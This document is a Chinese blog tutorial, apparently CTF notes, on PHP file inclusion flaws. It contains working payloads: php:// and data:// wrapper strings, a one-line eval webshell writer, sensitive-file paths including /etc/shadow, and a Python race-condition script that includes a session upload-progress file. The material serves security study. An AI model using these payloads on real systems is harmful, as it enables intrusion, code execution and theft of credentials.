文件包含漏洞

本文最后更新于:1 年前

文件包含相关方法/问题

文件包含

文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)


文件包含函数

require()

require_once()

include()

include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题


敏感信息路径

Linux/Unix系统的敏感信息路径:

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件 

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

php伪协议

https://segmentfault.com/a/1190000018991087

file://

作用:
用于访问文件(绝对路径、相对路径、网路路径)

例:

?file=file:///etc/passswd

php://

作用:
访问输入输出流

1.php://filter

作用:
读取源代码

例:

?file=php://filter/read=convert.base64-encode/resource=[文件名]  
(针对php文件需要base64编码)

参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链
2.php://input

作用:
执行php代码

例:

?file=php://input

POST数据:<?php phpinfo()?>

如果有写入权限,写入一句话木马:
?file=php://input
[POST DATA部分]
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST['a']); ?>'); ?>

注意:
enctype=”multipart/form-data” 的时候 php://input 是无效的

data://

作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

例:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

?file=data://text/plain,<?php system("cat f*")?>

zip://

作用:
zip://&bzip2://&zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

常见拼接用法

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

session文件

详解利用session进行文件包含:https://blog.csdn.net/qq_38154820/article/details/120300273

博客:https://www.freebuf.com/vuls/202819.html

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
严格审查 phpinfo/php.ini中关于Session的配置

博客:https://blog.csdn.net/msllws/article/details/85232203

具体利用

上传文件时产生可控的session文件,可在其中插入语句,在post上传文件同时get session,条件竞争碰撞

Cookie:PHPSESSID=XXX
/tmp/sess_xxx

利用session对话进行文件包含利用
简单来说,就是post上传文件时会产生一个可控session文件,文件上传完删除
可创造该session文件,在文件中插入php语句
在post上传文件同时访问该文件,get flag/有用信息
碰撞出正确的条件竞争

<!DOCTYPE html>
<html>
<body>
<form action="http://c5bb51fc-6e63-467c-b8dc-8dc6804584a9.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

PHP_SESSION_UPLOAD_PROGRESS session上传进度

即 sess_xxx文件的内容 / 执行恶意代码

PHP_SESSION_UPLOAD_PROGRESS:https://www.cnblogs.com/NPFS/p/13795170.html

附上脚本
#coding=utf-8
import io
import requests
import threading
sessid = 'flag'
data = {"cmd": "system('whoami');"} # session文件中输入一句话后,执行该php代码
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://127.0.0.1:7777/',
                        data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=var_dump(scandir("."))?>'}, # 执行php代码
                        files={'file': ('111.txt', f)},
                        cookies={'PHPSESSID': sessid}) # 严格审查Cookie变量值(phpinfo/phpini)

def read(session):
    while True:
        resp = session.post('http://127.0.0.1:7777/?a=/tmp/sess_'+sessid, data=data)
        if len(resp.text) != 0:   # 审查判断条件
            print(resp.text)
            event.clear()
        else:
            print("**************")

if __name__ == "__main__" :
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

参考博客:https://www.freebuf.com/articles/web/182280.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!